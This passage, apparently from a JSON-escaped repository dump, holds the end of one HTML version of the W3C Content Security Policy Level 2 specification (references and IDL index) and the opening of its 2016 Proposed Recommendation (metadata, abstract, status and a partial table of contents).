href=\"http://www.ietf.org/rfc/rfc5234.txt\">http://www.ietf.org/rfc/rfc5234.txt</a>\n   <dt id=\"biblio-beacon\"><a class=\"self-link\" href=\"#biblio-beacon\"></a>[BEACON]\n   <dd>Jatinder Mann; Alois Reitbauer. <a href=\"http://www.w3.org/TR/beacon/\">Beacon</a>. WD. URL: <a href=\"http://www.w3.org/TR/beacon/\">http://www.w3.org/TR/beacon/</a>\n   <dt id=\"biblio-ecma-262\"><a class=\"self-link\" href=\"#biblio-ecma-262\"></a>[ECMA-262]\n   <dd>Allen Wirfs-Brock. <a href=\"http://www.ecma-international.org/ecma-262/6.0/\">ECMA-262 6th Edition, The ECMAScript 2015 Language Specification</a>. June 2015. Standard. URL: <a href=\"http://www.ecma-international.org/ecma-262/6.0/\">http://www.ecma-international.org/ecma-262/6.0/</a>\n   <dt id=\"biblio-fips180\"><a class=\"self-link\" href=\"#biblio-fips180\"></a>[FIPS180]\n   <dd><a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf\">Secure Hash Standard</a>. URL: <a href=\"http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf\">http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf</a>\n   <dt id=\"biblio-html-imports\"><a class=\"self-link\" href=\"#biblio-html-imports\"></a>[HTML-IMPORTS]\n   <dd>Dmitri Glazkov; Hajime Morrita. <a href=\"http://www.w3.org/TR/html-imports/\">HTML Imports</a>. WD. URL: <a href=\"http://www.w3.org/TR/html-imports/\">http://www.w3.org/TR/html-imports/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[HTML5]\n   <dd>Ian Hickson; et al. <a href=\"http://www.w3.org/TR/html5/\">HTML5</a>. REC. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc3492\"><a class=\"self-link\" href=\"#biblio-rfc3492\"></a>[RFC3492]\n   <dd>Adam M. Costello. <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. REC. URL: <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">http://www.ietf.org/rfc/rfc3492.txt</a>\n   <dt id=\"biblio-rfc3864\"><a class=\"self-link\" href=\"#biblio-rfc3864\"></a>[RFC3864]\n   <dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">http://www.ietf.org/rfc/rfc3864.txt</a>\n   <dt id=\"biblio-rfc4627\"><a class=\"self-link\" href=\"#biblio-rfc4627\"></a>[RFC4627]\n   <dd>Douglas Crockford. <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">The 'application/json' Media Type for JavaScript Object Notation (JSON)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">http://www.ietf.org/rfc/rfc4627.txt</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">The Web Origin Concept</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">http://www.ietf.org/rfc/rfc6454.txt</a>\n   <dt id=\"biblio-rfc7034\"><a class=\"self-link\" href=\"#biblio-rfc7034\"></a>[RFC7034]\n   <dd>David Ross; Tobias Gondrom. <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">HTTP Header Field X-Frame-Options</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">http://www.ietf.org/rfc/rfc7034.txt</a>\n   <dt id=\"biblio-rfc7230\"><a class=\"self-link\" href=\"#biblio-rfc7230\"></a>[RFC7230]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">HTTP/1.1 Message Syntax and Routing</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">http://www.ietf.org/rfc/rfc7230.txt</a>\n   <dt id=\"biblio-rfc7231\"><a class=\"self-link\" href=\"#biblio-rfc7231\"></a>[RFC7231]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">http://www.ietf.org/rfc/rfc7231.txt</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren; Sam Ruby. <a href=\"http://www.w3.org/TR/url/\">URL</a>. WD. URL: <a href=\"http://www.w3.org/TR/url/\">http://www.w3.org/TR/url/</a>\n   <dt id=\"biblio-webidl\"><a class=\"self-link\" href=\"#biblio-webidl\"></a>[WebIDL]\n   <dd>Cameron McCormack. <a href=\"http://www.w3.org/TR/WebIDL/\">Web IDL</a>. 19 April 2012. CR. URL: <a href=\"http://www.w3.org/TR/WebIDL/\">http://www.w3.org/TR/WebIDL/</a>\n   <dt id=\"biblio-xmlhttprequest\"><a class=\"self-link\" href=\"#biblio-xmlhttprequest\"></a>[XMLHttpRequest]\n   <dd>Anne van Kesteren; et al. <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">XMLHttpRequest Level 1</a>. 30 January 2014. WD. URL: <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">http://www.w3.org/TR/XMLHttpRequest/</a>\n   <dt id=\"biblio-css-images-3\"><a class=\"self-link\" href=\"#biblio-css-images-3\"></a>[CSS-IMAGES-3]\n   <dd>CSS Image Values and Replaced Content Module Level 3 URL: <a href=\"http://www.w3.org/TR/css3-images/\">http://www.w3.org/TR/css3-images/</a>\n   <dt id=\"biblio-css-images-4\"><a class=\"self-link\" href=\"#biblio-css-images-4\"></a>[CSS-IMAGES-4]\n   <dd>CSS Image Values and Replaced Content Module Level 4 URL: <a href=\"http://www.w3.org/TR/css4-images/\">http://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-css3-fonts\"><a class=\"self-link\" href=\"#biblio-css3-fonts\"></a>[CSS3-FONTS]\n   <dd>John Daggett. <a href=\"http://www.w3.org/TR/css-fonts-3/\">CSS Fonts Module Level 3</a>. 3 October 2013. CR. URL: <a href=\"http://www.w3.org/TR/css-fonts-3/\">http://www.w3.org/TR/css-fonts-3/</a>\n   <dt id=\"biblio-css4-images\"><a class=\"self-link\" href=\"#biblio-css4-images\"></a>[CSS4-IMAGES]\n   <dd>Elika Etemad; Tab Atkins Jr.. <a href=\"http://www.w3.org/TR/css4-images/\">CSS Image Values and Replaced Content Module Level 4</a>. 11 September 2012. WD. URL: <a href=\"http://www.w3.org/TR/css4-images/\">http://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-cssom\"><a class=\"self-link\" href=\"#biblio-cssom\"></a>[CSSOM]\n   <dd>Simon Pieters; Glenn Adams. <a href=\"http://www.w3.org/TR/cssom/\">CSS Object Model (CSSOM)</a>. 5 December 2013. WD. URL: <a href=\"http://www.w3.org/TR/cssom/\">http://www.w3.org/TR/cssom/</a>\n   <dt id=\"biblio-eventsource\"><a class=\"self-link\" href=\"#biblio-eventsource\"></a>[EVENTSOURCE]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/eventsource/\">Server-Sent Events</a>. 3 February 2015. REC. URL: <a href=\"http://www.w3.org/TR/eventsource/\">http://www.w3.org/TR/eventsource/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[RFC2119]\n   <dd>S. Bradner. <a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc2119\">https://tools.ietf.org/html/rfc2119</a>\n   <dt id=\"biblio-rfc3986\"><a class=\"self-link\" href=\"#biblio-rfc3986\"></a>[RFC3986]\n   <dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"https://tools.ietf.org/html/rfc3986\">Uniform Resource Identifier (URI): Generic Syntax</a>. January 2005. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3986\">https://tools.ietf.org/html/rfc3986</a>\n   <dt id=\"biblio-rfc5988\"><a class=\"self-link\" href=\"#biblio-rfc5988\"></a>[RFC5988]\n   <dd>M. Nottingham. <a href=\"https://tools.ietf.org/html/rfc5988\">Web Linking</a>. October 2010. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5988\">https://tools.ietf.org/html/rfc5988</a>\n   <dt id=\"biblio-websockets\"><a class=\"self-link\" href=\"#biblio-websockets\"></a>[WEBSOCKETS]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/websockets/\">The WebSocket API</a>. 20 September 2012. CR. URL: <a href=\"http://www.w3.org/TR/websockets/\">http://www.w3.org/TR/websockets/</a>\n   <dt id=\"biblio-workers\"><a class=\"self-link\" href=\"#biblio-workers\"></a>[WORKERS]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/workers/\">Web Workers</a>. 1 May 2012. CR. URL: <a href=\"http://www.w3.org/TR/workers/\">http://www.w3.org/TR/workers/</a>\n   <dt id=\"biblio-xml11\"><a class=\"self-link\" href=\"#biblio-xml11\"></a>[XML11]\n   <dd>Tim Bray; et al. <a href=\"http://www.w3.org/TR/xml11/\">Extensible Markup Language (XML) 1.1 (Second Edition)</a>. 16 August 2006. REC. URL: <a href=\"http://www.w3.org/TR/xml11/\">http://www.w3.org/TR/xml11/</a>\n   <dt id=\"biblio-xslt\"><a class=\"self-link\" href=\"#biblio-xslt\"></a>[XSLT]\n   <dd>James Clark. <a href=\"http://www.w3.org/TR/xslt\">XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. REC. URL: <a href=\"http://www.w3.org/TR/xslt\">http://www.w3.org/TR/xslt</a></dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-rfc6797\"><a class=\"self-link\" href=\"#biblio-rfc6797\"></a>[RFC6797]\n   <dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">http://www.ietf.org/rfc/rfc6797.txt</a>\n   <dt id=\"biblio-uiredress\"><a class=\"self-link\" href=\"#biblio-uiredress\"></a>[UIREDRESS]\n   <dd>Giorgio Maone; et al. <a href=\"http://www.w3.org/TR/UISecurity/\">User Interface Security Directives for Content Security Policy</a>. WD. URL: <a href=\"http://www.w3.org/TR/UISecurity/\">http://www.w3.org/TR/UISecurity/</a></dl>\n  <h2 class=\"no-num heading settled\" id=\"idl-index\"><span class=\"content\">IDL Index</span><a class=\"self-link\" href=\"#idl-index\"></a></h2>\n  <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n\npartial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n\n[<a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor</a>(DOMString <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type</a>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict</a>)]\ninterface <a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n\ndictionary <a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n\n</pre></body>\n</html>"
  },
  {
    "path": "2/published/2016-11-PR.html",
    "content": "\n\n<!doctype html>\n<html lang=\"en\">\n <head>\n  \n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n  \n  <title>Content Security Policy Level 2</title>\n  \n  \n\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n  <style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n  \n <link rel=\"stylesheet\" type=\"text/css\" href=\"https://www.w3.org/StyleSheets/TR/2016/W3C-PR\"/>     \n </head>\n \n\n\n <body class=\"h-entry\">\n\n  <div class=\"head\">\n <a href=\"https://www.w3.org/\"><img height=\"48\" width=\"72\" alt=\"W3C\" src=\"https://www.w3.org/StyleSheets/TR/2016/logos/W3C\"/></a>\n  \n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy Level 2</h1>\n  \n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C Proposed Recommendation,\n   <time class=\"dt-updated\" datetime=\"2016-11-08\">8 November 2016</time></span></h2>\n  \n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"https://www.w3.org/TR/2016/PR-CSP2-20161108/\">https://www.w3.org/TR/2016/PR-CSP2-20161108/</a>\n     <dt>Latest version:\n     <dd><a href=\"https://www.w3.org/TR/CSP2/\">https://www.w3.org/TR/CSP2/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec-csp/\">https://w3c.github.io/webappsec-csp/</a>\n     <dt>Previous Versions:\n     <dd><a href=\"https://www.w3.org/TR/2015/CR-CSP2-20150721/\" rel=\"previous\">https://www.w3.org/TR/2015/CR-CSP2-20150721/</a>\n     <dd><a href=\"https://www.w3.org/TR/2015/CR-CSP2-20150219/\" rel=\"previous\">https://www.w3.org/TR/2015/CR-CSP2-20150219/</a>\n     <dd><a href=\"https://www.w3.org/TR/2014/WD-CSP2-20140703/\" rel=\"previous\">https://www.w3.org/TR/2014/WD-CSP2-20140703/</a>\n     <dd><a href=\"https://www.w3.org/TR/2014/WD-CSP11-20140211/\" rel=\"previous\">https://www.w3.org/TR/2014/WD-CSP11-20140211/</a>\n     <dd><a href=\"https://www.w3.org/TR/2012/CR-CSP-20121115/\" rel=\"previous\">https://www.w3.org/TR/2012/CR-CSP-20121115/</a>\n     <dt>Implementation Report\n     <dd><span><a href=\"https://w3c.github.io/webappsec/implementation_reports/CSP2_implementation_report.html\">https://w3c.github.io/webappsec/implementation_reports/CSP2_implementation_report.html</a></span>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP2%5D%20YOUR%20TOPIC%20HERE\">public-webappsec@w3.org</a> with subject line “<kbd>[CSP2] <var>… message topic …</var></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt>Issue Tracking:\n     <dd><a href=\"https://github.com/w3c/webappsec-csp/issues/\">GitHub</a>\n     <dt class=\"editor\">Editors:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"39502\"><a class=\"p-name fn u-email email\" href=\"mailto:w3c@adambarth.com\">Adam Barth</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"41156\"><a class=\"p-name fn u-email email\" href=\"mailto:dveditz@mozilla.com\">Dan Veditz</a> (<span class=\"p-org org\">Mozilla Corporation</span>)\n     <dt>Former Editors:\n     <dd>\n      <dd class=\"editor p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=\"mailto:brandon@hackmill.com\">Brandon Sterne</a> (<span class=\"p-org org\">formerly of Mozilla Corporation</span>)\n    </dl>\n   </div>\n  \n   <div data-fill-with=\"warning\"></div>\n  <p class=\"copyright\"><a href=\"https://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2016 <a href=\"https://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"https://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"https://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"https://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"https://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"https://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"https://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply.</p>\n   <hr title=\"Separator for header\">\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.</p>\n\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n\n  <div data-fill-with=\"status\">\n   <p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"https://www.w3.org/TR/\">W3C technical reports\n  index at https://www.w3.org/TR/.</a></em>\n\n</p>\n   <p>\n  This document was published by the\n  <a href=\"https://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>\n  as a Proposed Recommendation. This document is intended to become a W3C Recommendation.\n  The W3C Membership and other interested parties are invited to review the document and\n  send comments to <a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP2%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n  (<a href=\"mailto:public-webappsec-request@w3.org?subject=subscribe\">subscribe</a>,\n  <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archives</a>) through\n  <time class=\"status-deadline\" datetime=\"2015-10-21\">21 October 2015</time>.\n  Advisory Committee Representatives should consult their\n  <a href=\"https://www.w3.org/2002/09/wbs/myQuestionnaires\">WBS questionnaires</a>. Please see the Working Group's <a href=\"https://w3c.github.io/webappsec/implementation_reports/CSP2_implementation_report.html\">implementation report</a>.\n\n</p>\n   <p>\n  Publication as a Proposed Recommendation does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n</p>\n<p>W3C expects the functionality specified in this Recommendation will not be affected by changes to referenced documents at an earlier process stage than Proposed Recommendation.</p> \n   <p>\n\tThis document was produced by a group operating under\n\tthe <a href=\"https://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"https://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"https://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=\"https://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>.\n\n</p>\n<p>This document is governed by the <a id=\"w3c_process_revision\" href=\"https://www.w3.org/2015/Process-20150901/\">1 September 2015 W3C Process Document</a>.\n</p>\n<p>Many of the referenced specifications are at Working Draft status;\nimplementors of CSP2 should be aware that the mechanisms cited have\ncontent security implications and should track the progress of those\nspecifications as they are included in CSP implementations.</p>\n</div>\n\n  <div data-fill-with=\"at-risk\"></div>\n\n  <nav data-fill-with=\"table-of-contents\" id=\"toc\">\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li><a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#changes-from-level-1\"><span class=\"secno\">1.1</span> <span class=\"content\">Changes from Level 1</span></a>\n     </ul>\n    <li><a href=\"#key-concepts\"><span class=\"secno\">2</span> <span class=\"content\">Key Concepts and Terminology</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#terms-defined-here\"><span class=\"secno\">2.1</span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#terms-defined-by-reference\"><span class=\"secno\">2.2</span> <span class=\"content\">Terms defined by reference</span></a>\n      <li><a href=\"#html-concepts\"><span class=\"secno\">2.3</span> <span class=\"content\">Relevant Concepts from HTML</span></a>\n      <li><a href=\"#grammar\"><span class=\"secno\">2.4</span> <span class=\"content\">Grammatical Concepts</span></a>\n     </ul>\n    <li><a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\">Policy Delivery</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#content-security-policy-header-field\"><span class=\"secno\">3.1</span> <span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span></a>\n      <li><a href=\"#content-security-policy-report-only-header-field\"><span class=\"secno\">3.2</span> <span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span></a>\n      <li><a href=\"#delivery-html-meta-element\"><span class=\"secno\">3.3</span> <span class=\"content\">\n      HTML <code><span>meta</span></code> Element\n    </span></a>\n      <li><a href=\"#enforcing-multiple-policies\"><span class=\"secno\">3.4</span> <span class=\"content\">Enforcing multiple policies.</span></a>\n      <li><a href=\"#which-policy-applies\"><span class=\"secno\">3.5</span> <span class=\"content\">Policy applicability</span></a>\n     </ul>\n    <li><a href=\"#syntax-and-algorithms\"><span class=\"secno\">4</span> <span class=\"content\">Syntax and Algorithms</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#policy-syntax\"><span class=\"secno\">4.1</span> <span class=\"content\">Policy Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#policy-parsing\"><span class=\"secno\">4.1.1</span> <span class=\"content\">Parsing Policies</span></a>\n       </ul>\n      <li><a href=\"#source-list-syntax\"><span class=\"secno\">4.2</span> <span class=\"content\">Source List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#source-list-parsing\"><span class=\"secno\">4.2.1</span> <span class=\"content\">Parsing Source Lists</span></a>\n        <li><a href=\"#match-source-expression\"><span class=\"secno\">4.2.2</span> <span class=\"content\">Matching Source Expressions</span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#source-list-guid-matching\"><span class=\"secno\">4.2.2.1</span> <span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span></a>\n          <li><a href=\"#source-list-path-patching\"><span class=\"secno\">4.2.2.2</span> <span class=\"content\">Path Matching</span></a>\n          <li><a href=\"#source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3</span> <span class=\"content\">Paths and Redirects</span></a>\n         </ul>\n        <li><a href=\"#script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3</span> <span class=\"content\">\n        The <code>nonce</code> attribute\n      </span></a>\n        <li><a href=\"#source-list-valid-nonces\"><span class=\"secno\">4.2.4</span> <span class=\"content\">Valid Nonces</span></a>\n        <li><a href=\"#source-list-valid-hashes\"><span class=\"secno\">4.2.5</span> <span class=\"content\">Valid Hashes</span></a>\n       </ul>\n      <li><a href=\"#media-type-list-syntax\"><span class=\"secno\">4.3</span> <span class=\"content\">Media Type List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#media-type-list-parsing\"><span class=\"secno\">4.3.1</span> <span class=\"content\">Parsing</span></a>\n        <li><a href=\"#media-type-list-matching\"><span class=\"secno\">4.3.2</span> <span class=\"content\">Matching</span></a>\n       </ul>\n      <li><a href=\"#violation-reports\"><span class=\"secno\">4.4</span> <span class=\"content\">Reporting</span></a>\n     </ul>\n    <li><a href=\"#processing-model\"><span class=\"secno\">5</span> <span class=\"content\">Processing Model</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#processing-model-workers\"><span class=\"secno\">5.1</span> <span class=\"content\">Workers</span></a>\n      <li><a href=\"#processing-model-iframe-srcdoc\"><span class=\"secno\">5.2</span> <span class=\"content\"><code>srcdoc</code> IFrames</span></a>\n     </ul>\n    <li><a href=\"#script-interfaces\"><span class=\"secno\">6</span> <span class=\"content\">Script Interfaces</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#securitypolicyviolationevent-interface\"><span class=\"secno\">6.1</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span></a>\n      <li><a href=\"#securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span></a>\n      <li><a 